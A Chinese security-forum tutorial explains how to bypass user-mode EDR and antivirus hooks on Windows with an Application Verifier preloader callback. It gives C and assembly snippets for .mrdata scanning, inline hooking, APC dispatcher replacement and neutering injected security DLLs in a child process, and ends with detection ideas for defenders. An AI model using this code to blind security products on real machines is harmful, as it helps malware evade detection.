吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 321|回复: 1
上一主题 下一主题
收起左侧

[原创] 关于应用层hook摘除的研究

[复制链接]
跳转到指定楼层
楼主
ClumsyBear 发表于 2026-6-18 22:03 回帖奖励
本帖最后由 ClumsyBear 于 2026-6-19 14:27 编辑

[新手向] 通过 Preloader 技术在进程初始化阶段绕过用户态 Hook



在 Windows 平台上,大多数终端安全产品通过用户态 Inline Hook 来拦截敏感的系统调用。它们的做法是修改 ntdll.dll 中 syscall stub 的开头几个字节,将 mov r10, rcx; mov eax, SSN 替换为一条 jmp 指令,跳转到自身的检测引擎中进行分析,然后再决定是否放行。
[C] 纯文本查看 复制代码
; ntdll.dll 正常 syscall stub 前缀
4C 8B D1          mov r10, rcx
B8 ?? ?? ?? ??    mov eax, <syscall_number>

; 被安全软件 Hook 后
E9 ?? ?? ?? ??    jmp <hook_handler>

这种 Hook 在进程创建之初就通过 LdrInitializeThunk 中的 DLL 加载顺序生效——安全软件的 DLL 往往早于 kernel32.dll 被注入,因此它们可以在用户代码执行之前就完成 Hook 部署。
然而,这也留下了一个时间窗口:如果我们能在 DLL 初始化之前介入加载流程,就能在安全软件的 Hook 尚未部署时将其"废掉"。
本文介绍一种基于 Application Verifier Preloader 回调的绕过方案,在所有用户态 Hook 生效之前取得控制权。


杀软查杀过程
  • 拦截你的 VirtualAlloc 调用
  • 检查你要分配的内存是否可疑
  • 扫描写入的内容是不是恶意代码
  • 发现不对劲就报警或阻止


杀软的应用层核心手段:User-Mode Hook
Windows 中所有系统调用都要经过 ntdll.dll 这个"传达室":

你的程序 → kernel32!VirtualAlloc → ntdll!NtAllocateVirtualMemory → 内核


会在 ntdll 函数开头修改指令,把正常代码改成跳转:原来:   mov r10, rcx        ; 正常 syscall 前缀        mov eax, 0x18       ; 系统调用号        syscall被 Hook 后:        jmp EdrCheckFunc    ; 先跳到 EDR 检查        ...                 ; 原始指令被覆盖
这样每次程序调用系统函数,都先经过软件的检查。这就是被杀软监控后程序变慢的原因。
杀软是怎么把 hook 装上去的呢?它得等进程启动后,把自己的 DLL 注入进去,然后才能修改 ntdll 的代码。
在进程刚开始、EDR还没注入的那一瞬间,这个进程是"干净的"。
这就是我们要抓住的机会。


核心突破点
进程是怎么出生的?
Windows 创建进程的过程大致是:

关键时间窗口:步骤 3 刚开始时,只有 ntdll.dll 加载了,EDR 的 DLL 还没注入。这时候如果能执行一段代码,就可以在 EDR 安装 hook 之前把它的路堵死。原理正常流程:  加载器 → 加载 kernel32.dll → EDR 注入 → EDR 装 Hook → 程序开始执行我们的流程:  加载器 → 触发我们的回调 → 堵死 EDR 的注入路径 → 等 EDR 来时已经晚了


我们看被hook的函数(由于作者的电脑的局限性,所以作者模拟了一个跳转过程,大家见谅)

执行后

我们可以看到,被hook的函数会跳到杀软内部执行检查,我们通过创建子进程,然后注入阉割的模块,实现绕过杀软。
攻击链全景




细节(重要)
下面我们按代码的六大模块,逐一拆解每个技术点。SafeRuntime:为什么不能用标准库?
[C] 纯文本查看 复制代码
size_t SafeStrLen(const char* str)
 {
    size_t i = 0;
    while (str[i]) i++;
    return i;
}

void SafeMemCpy(void* dest, const void* src, size_t len)
 {
    unsigned char* d = (unsigned char*)dest;
    const unsigned char* s = (const unsigned char*)src;
    while (len--) *d++ = *s++;
}

在加载器回调执行时,VC Runtime 还没初始化。调用 strlen、memcpy 会崩溃。所以必须自己实现这些最基本的内存操作,且不依赖任何外部符号。PE 解析:找到藏起来的回调地址定位 .mrdata 节
每个 PE 文件(exe / dll)都有一个节表,列出了各节的名称、位置和大小。我们遍历节表,找到名为 .mrdata 的节:
[C] 纯文本查看 复制代码
ULONG_PTR PeGetSectionBase(ULONG_PTR base, const char* name)
 {
    IMAGE_DOS_HEADER*   dos = (IMAGE_DOS_HEADER*)base;
    IMAGE_NT_HEADERS*   nt  = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
    IMAGE_SECTION_HEADER* sec = (IMAGE_SECTION_HEADER*)((ULONG_PTR)nt + sizeof(IMAGE_NT_HEADERS));

    WORD count = nt->FileHeader.NumberOfSections;
    for (WORD i = 0; i < count; i++)
        if (SafeMemCmp(name, sec[i].Name, SafeStrLen(name)) == 0)
            return base + sec[i].VirtualAddress;
    return 0;
}

PE 文件内存布局:

+0x00   [某全局变量]
+0x08   [某全局变量]
  ...
+N      [LdrpMrdataBase]  = &mrdata    ← 值等于自身基址的指针
+N+8    [AvrfpCallbacksEnabled] = FALSE ← 1 字节 + 7 字节 padding
+N+16   [AvrfpCallbackRoutine] = NULL   ← 我们要找的
[/mw_shl_code]
扫描算法
  • 遍历 .mrdata 每 8 字节,找值为 mrdataBase 的指针 → 这就是 LdrpMrdataBase
  • 从 LdrpMrdataBase 往后找第一个 NULL 指针 → 这就是 AvrfpAPILookupCallbackRoutine
[C] 纯文本查看 复制代码
ULONG_PTR FindAvrfpAddress(ULONG_PTR mrdataBase, ULONG_PTR mrdataSize)
 {
    ULONG_PTR* ptr = (ULONG_PTR*)mrdataBase;
    ULONG_PTR  ldrpMrdata = 0;

    //1: 扫描找到 LdrpMrdataBase
    for (ULONG_PTR i = 0; i < mrdataSize / sizeof(ULONG_PTR); i++, ptr++)
 {
        if (*ptr == mrdataBase) { ldrpMrdata = (ULONG_PTR)ptr; break; }
    }
    if (!ldrpMrdata) return 0;

    //2: 往后找第一个 NULL 指针
    ptr = (ULONG_PTR*)ldrpMrdata;
    for (int i = 0; i < 10; i++, ptr++)
 {
        if (*ptr == 0) return (ULONG_PTR)ptr;
    }
    return 0;
}
内联 Hook:如何劫持一个函数?
内联 Hook 的原理很简单——在目标函数开头写入一条跳转指令,把执行流重定向到我们的函数。
但这有个 tricky 的地方:x64 指令是变长的(1 到 15 字节),不能随便找个位置截断!

绝对跳转
我们使用 12 字节的绝对跳转:48 B8 XX XX XX XX XX XX XX XX    mov rax, <64位地址>FF E0                            jmp rax
为什么不用更短的 E9 XX XX XX XX(5 字节)?因为 x64 用户态地址跨度太大,相对跳转的 正负2GB 范围不够可靠。

跳板 (Trampoline)
被覆盖的原始指令不能丢——我们的 hook 函数可能需要调用原始功能。所以要把它们保存到一个"跳板"里:


反汇编确定截断位置
我们用 HDE64 反汇编引擎逐条分析指令,累计到 ≥ 12 字节:
[C] 纯文本查看 复制代码
SIZE_T total = 0;
BYTE*  ip    = (BYTE*)target;
while (total < HOOK_SIZE)
 {
    hde64s hs;
    SIZE_T len = hde64_disasm(&ip[total], &hs);
    if (len == 0 || (hs.flags & F_ERROR)) return;  // 反汇编失败就放弃
    total += len;
}


系统指针编码
ntdll 内部指针是加密存储的(防漏洞利用):
[C] 纯文本查看 复制代码
encoded = ROTR64(Cookie XOR pointer, Cookie & 0x3F)

Cookie 位于 SharedUserData!Cookie(固定地址 0x7FFE0330),所有进程共享。
因为我们在系统上运行,可以直接读取 Cookie:
[C] 纯文本查看 复制代码
LPVOID EncodeSysPtr(LPVOID ptr)
 {
    ULONG cookie = *(ULONG*)0x7FFE0330;
    return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}

_rotr64 是 MSVC 的 x64 内联函数,对应 ROR 指令。APC 拦截:掐断 EDR 的"对讲机"
EDR 通常有两部分:内核驱动 + 用户态 DLL
即使我们阻止了用户态 DLL 加载,内核驱动仍能通过 APC(异步过程调用) 向进程注入代码。
KiUserApcDispatcher 是用户态 APC 的入口。我们把它替换成自己的实现——直接调用 NtContinue() 恢复线程,跳过所有排队的 APC:
[C] 纯文本查看 复制代码
KiUserApcDispatcher PROC
    push rcx          ; 保存 CONTEXT*
    push rdx          ; 保存参数
    push r8
    push r9
    call GetNtContinue ; 获取 NtContinue 地址
    pop r9
    pop r8
    pop rdx
    pop rcx           ; 恢复 CONTEXT*
    xor edx, edx       ; RaiseAlert = FALSE
    jmp rax            ; 跳到 NtContinue, 不返回
KiUserApcDispatcher ENDPKiUserApcDispatcher PROC
    push rcx          ; 保存 CONTEXT*
    push rdx          ; 保存参数
    push r8
    push r9
    call GetNtContinue ; 获取 NtContinue 地址
    pop r9
    pop r8
    pop rdx
    pop rcx           ; 恢复 CONTEXT*
    xor edx, edx       ; RaiseAlert = FALSE
    jmp rax            ; 跳到 NtContinue, 不返回
KiUserApcDispatcher ENDP
模块入口点替换(EdrParadise)
有些 EDR 通过 PsSetLoadImageNotifyRoutine(内核回调)在进程创建瞬间就注入 DLL。这些 DLL 可能在我们的回调触发前已经被映射了。
对策:遍历 PEB 的模块链表,把非系统模块的入口点替换为无害函数:
[C] 纯文本查看 复制代码
static DWORD WINAPI EdrParadise(void)
 {
    return ERROR_TOO_MANY_SECRETS;  //什么也不做
}

static void DisablePreloadedEdrModules(void)
 {
    PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* entry = head->Flink->Flink;  //跳过 exe 和 ntdll

    while (entry != head)
     {
        PLDR_DATA_TABLE_ENTRY2 mod = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks);

        // 保留系统模块,其他的都是 EDR
        if (SafeWcsICmp(mod->BaseDllName.Buffer, L"ntdll.dll") != 0 &&
            SafeWcsICmp(mod->BaseDllName.Buffer, L"kernel32.dll") != 0 &&
            SafeWcsICmp(mod->BaseDllName.Buffer, L"kernelbase.dll") != 0) 
        {
            mod->EntryPoint = EdrParadise;  //入口点→无害函数
        }
        entry = entry->Flink;
     }
}

CONTAINING_RECORD 是个很有用的宏——根据成员指针反推出结构体指针。这里我们从 LIST_ENTRY 反推出包含它的 LDR_DATA_TABLE_ENTRY2。
关键代码:父子进程
主函数 main() 用了一个巧妙的设计——同一份代码运行两次,但走不同的分支
[C] 纯文本查看 复制代码
int main(int argc, char* argv[])
 {

    if (g_PtrTable.LdrLoadDll == 0)
     {
        //父进程
        printf("EDR-Preloader - Parent Process\n");
        CheckForHooks();          //看看现在有没有 EDR hook
        EDRPreloader(argv[0]);    //启动子进程并注入
      }
     else
     {
        //子进程
        printf("EDR-Preloader - Child Process\n");
        printf("Callback should have executed in LdrpInitializeProcess().\n");
        CheckForHooks();          //验证 EDR hook 已被绕过
     }
}

判断依据:g_PtrTable 是个全局变量。父进程初始化它为 0,子进程启动时已被父进程通过 WriteProcessMemory 写入,所以 LdrLoadDll 成员不为 0。

怎么区分父子进程: 靠一个巧妙的标记:g_PtrTable.LdrLoadDll。全局变量初始值为 0,父进程启动时它就是 0。父进程通过 WriteProcessMemory 把它改成非 0 写入子进程,所以子进程醒来时看到的就不是 0 了。回调函数
[C] 纯文本查看 复制代码
LPVOID WINAPI LdrGetProcedureAddressCallback(
    LPVOID dllBase, LPVOID caller, LPVOID funcAddr)
{
    static BOOL done = FALSE;

    if (!done)//只执行一次!
    {                
        done = TRUE;

        DisablePreloadedEdrModules();     //阉割已注入的 EDR
        HookInstall(g_PtrTable.LdrLoadDll,
                    LdrLoadDllHook, ...); //Hook DLL 加载
        HookInstall(g_PtrTable.KiUserApcDispatcher,
                    KiUserApcDispatcher,  //拦截 APC
                    NULL);
    }
    return funcAddr;  //正常返回,不干扰加载器
}

这里有两个关键细节:

  • static BOOL done — 这个回调会被调用多次(每次解析导入函数都触发一次),但我们只想在第一次时做手脚。之后正常返回即可。

  • return funcAddr — 这是一个正常的回调,不是恶意篡改。我们返回原始的函数地址,让加载器继续正常工作。我们只是在回调过程中"顺便"装了几个 hook。



预期结果
父进程
我们选择了三个在几乎所有主流杀软中都会被 hook的函数========== Hook Detection ==========  NtSetContextThread             HOOKED    ← EDR 的 hook!  NtAllocateVirtualMemory        HOOKED  NtMapViewOfSection             HOOKED=====================================.mrdata: base=0x00007FFEEED86000, size=0x35a8Child PID=12345, hProcess=0xC4Bypass injected. Resuming child...Done. Child is running with EDR bypassed.
子进程(绕过成功)

file://C:%5CUsers%5Cyouxing%5CAppData%5CRoaming%5Cmarktext%5Cimages%5C2026-06-17-15-38-49-a53c1652ee760a7c64789549a5f18d13.png?msec=1781788476745
怎么检测这种攻击?
站在防守方角度,可以用以下手段检测:[td]
检测方法原理
监控 .mrdata 完整性校验 AvrfpAPILookupCallbacksEnabled 是否为 FALSE
检测 KiUserApcDispatcher Hook比较前 12 字节是否被修改
拦截 WriteProcessMemory内核回调阻止对 ntdll 内存段的写入
校验模块 EntryPoint遍历 PEB 链表检查各 DLL 入口点是否异常
Syscall 来源校验验证 syscall 确实来自 ntdll 而非跳板

这个技术最根本的弱点:必须对 ntdll.dll 的 .mrdata 段进行写入。如果防御方用内核驱动保护了这些关键内存区域,攻击就无法进行。

参考资料
  • Maldev Academy — EDR Preloader(原始技术来源)
  • https://maldevacademy.com
  • HDE64 — Hacker Disassembler Engine
  • https://github.com/arthaud/hde64
  • ReactOS `dll/ntdll/ldr/ldrinit.c
  • https://github.com/reactos/reactos/blob/master/dll/ntdll/ldr/ldrinit.c


完整代码以及示例(免责声明本内容仅供个人学习、技术研究、安全测试使用,严禁用于任何商业用途、非法活动或侵犯他人合法权益的场景。任何未经授权的扩散、修改、逆向工程或用于攻击行为,均由使用者自行承担全部法律责任
Preloader.txt (10.49 KB, 下载次数: 9)
不知道为啥,不能上传压缩文件了,(请将后缀.txt改为.zip就可以正常解压看源代码了)

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
bullshit + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
涛之雨 发表于 2026-6-19 17:08
板块的原因,请重新上传附件,论坛禁止上传改名附件
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-6-21 05:38

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表